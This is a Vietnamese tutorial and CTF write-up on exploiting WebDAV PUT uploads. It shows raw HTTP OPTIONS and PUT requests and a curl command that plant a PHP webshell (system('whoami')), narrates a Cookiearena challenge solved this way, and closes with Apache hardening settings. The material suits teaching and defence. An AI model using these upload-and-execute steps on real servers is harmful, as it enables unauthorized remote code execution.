---
# System prepended metadata

title: WebDAV trong File Upload
tags: [file upload]

---



# WebDAV trong File Upload

## WebDAV là gì?
WebDAV (Web Distributed Authoring and Versioning) là một phần mở rộng của giao thức HTTP, cho phép người dùng quản lý và chỉnh sửa file trên server từ xa thông qua các phương thức HTTP như `PUT`, `DELETE`, `MOVE`, v.v. Không giống như form upload truyền thống (dùng `POST` với `multipart/form-data`), WebDAV sử dụng phương thức `PUT` để tải file trực tiếp lên server mà không cần xử lý qua script phía back-end.

Trong bối cảnh pentest, WebDAV thường được chú ý vì nó có thể cho phép tải file độc hại lên server nếu không được cấu hình đúng, dẫn đến các lỗ hổng như **Remote Code Execution (RCE)**.

---

## Cách WebDAV hoạt động trong File Upload
1. **Kích hoạt WebDAV trên Server:**
   - WebDAV thường được bật trên các web server như Apache, Nginx, hoặc IIS.
   - Cấu hình WebDAV cho phép client gửi yêu cầu `PUT` để ghi file trực tiếp vào một thư mục cụ thể.

2. **Phương thức `PUT`:**
   - Client gửi yêu cầu HTTP `PUT` với đường dẫn đích và nội dung file:
     ```
     PUT /uploads/shell.php HTTP/1.1
     Host: example.com
     Content-Length: 22

     <?php system('whoami'); ?>
     ```
   - Nếu server chấp nhận, file `shell.php` sẽ được lưu vào thư mục `/uploads/` mà không cần qua xử lý back-end.

3. **Không cần form upload:**
   - Khác với upload qua form (dùng PHP, Python, v.v.), WebDAV không yêu cầu script xử lý file mà dựa vào cấu hình server.

---

## Lỗ hổng liên quan đến WebDAV trong File Upload
WebDAV có thể dẫn đến các vấn đề bảo mật nếu không được kiểm soát chặt chẽ:

1. **Tải file thực thi mà không kiểm tra:**
   - Nếu server cho phép `PUT` mà không giới hạn loại file (ví dụ: `.php`, `.asp`), hacker có thể tải file mã độc lên và thực thi.
   - Ví dụ: Tải file `shell.php` lên và truy cập `http://example.com/uploads/shell.php` để chạy lệnh.

2. **Thiếu xác thực:**
   - Nếu WebDAV không yêu cầu authentication (hoặc dùng thông tin yếu như `admin:admin`), bất kỳ ai cũng có thể upload file.

3. **Cấu hình sai:**
   - Nhiều server bật WebDAV mặc định mà không vô hiệu hóa thực thi file trong thư mục upload (ví dụ: không chặn `.php` trong Apache).

---

## Khai thác WebDAV trong File Upload
Dưới đây là cách hacker có thể khai thác WebDAV để upload file mã độc:

### Bước 1: Kiểm tra WebDAV có bật không
- Gửi yêu cầu `OPTIONS` để xem server hỗ trợ phương thức nào:
  ```
  OPTIONS /uploads/ HTTP/1.1
  Host: example.com
  ```
- Response:
  ```
  HTTP/1.1 200 OK
  Allow: GET, POST, PUT, DELETE, OPTIONS
  ```
  Nếu `PUT` có trong danh sách, WebDAV có thể được sử dụng.

### Bước 2: Tải file mã độc
- Dùng `PUT` để upload file `shell.php`:
  ```
  PUT /uploads/shell.php HTTP/1.1
  Host: example.com
  Content-Type: application/octet-stream
  Content-Length: 22

  <?php system('whoami'); ?>
  ```
- Nếu thành công, server trả về `201 Created` hoặc `204 No Content`.

### Bước 3: Thực thi file
- Truy cập `http://example.com/uploads/shell.php` để chạy mã độc (ví dụ: lấy thông tin user bằng `whoami`).

### Công cụ hỗ trợ
- **cURL:**
  ```
  curl -X PUT -d '<?php system("whoami"); ?>' http://example.com/uploads/shell.php
  ```
- **Davtest:** Công cụ kiểm tra WebDAV, tự động thử upload các loại file (`.php`, `.asp`, v.v.) và kiểm tra khả năng thực thi.

---
## Ví dụ về lỗ hổng WebDAV

Challenge của Cookiearena : https://battle.cookiearena.org/challenges/web/file-upload-via-put-method

Khi tiếp cận với trang web hoàn toàn không có chức năng nào về upload files, chỉ có một thư mục images có chứa một file text.html 
![image](https://hackmd.io/_uploads/rJVe70JTyl.png)

Ý tưởng ở đây đương nhiên là tận dụng phương thức `PUT` để upload một webshell và có thể lấy được flag

1. Bước đầu đương nhiên là xem thử liệu có thể upload được một file php và thực thi file trên web hay không 

Dùng Burpsuite gửi một request để tạo một file shell.php trong thư mục images 
![image](https://hackmd.io/_uploads/r1T9701T1e.png)

Yah việc upload đã thành công đồng thời tạo ra một file shell.php trong thư mục images và web server cho phép thực thi php trong thư mục images (●'◡'●)
![image](https://hackmd.io/_uploads/SySGV01aye.png)
![image](https://hackmd.io/_uploads/S1QmV0k61g.png)

2.Tìm flag thôi chờ đợi gì nữa ...

![image](https://hackmd.io/_uploads/B1ZoE0yayl.png)
![image](https://hackmd.io/_uploads/r1y3NAJTye.png)


---
## Phòng chống lỗ hổng WebDAV trong File Upload
Để bảo vệ server khỏi bị khai thác qua WebDAV:

1. **Tắt WebDAV nếu không cần thiết:**
   - Trong Apache, chỉnh sửa file cấu hình (`httpd.conf` hoặc `.htaccess`):
     ```
     <Directory /uploads>
         AllowOverride None
         <LimitExcept GET POST>
             Deny from all
         </LimitExcept>
     </Directory>
     ```

2. **Giới hạn phương thức HTTP:**
   - Chỉ cho phép `GET` và `POST`, chặn `PUT`:
     ```
     RewriteEngine On
     RewriteCond %{REQUEST_METHOD} ^PUT
     RewriteRule .* - [F]
     ```

3. **Kiểm soát quyền truy cập:**
   - Yêu cầu xác thực mạnh (Basic Auth hoặc Digest Auth) cho WebDAV:
     ```
     <Directory /uploads>
         AuthType Basic
         AuthName "Restricted Area"
         AuthUserFile /etc/apache2/.htpasswd
         Require valid-user
     </Directory>
     ```

4. **Chặn thực thi file:**
   - Vô hiệu hóa thực thi PHP trong thư mục upload:
     ```
     <Directory /uploads>
         php_flag engine off
     </Directory>
     ```

5. **Lọc loại file:**
   - Nếu WebDAV cần thiết, dùng script trung gian để kiểm tra extension hoặc MIME type trước khi lưu file.

---

## Kết luận
WebDAV cung cấp cách upload file linh hoạt qua phương thức `PUT`, nhưng nếu không được cấu hình đúng, nó trở thành lỗ hổng nghiêm trọng trong hệ thống.
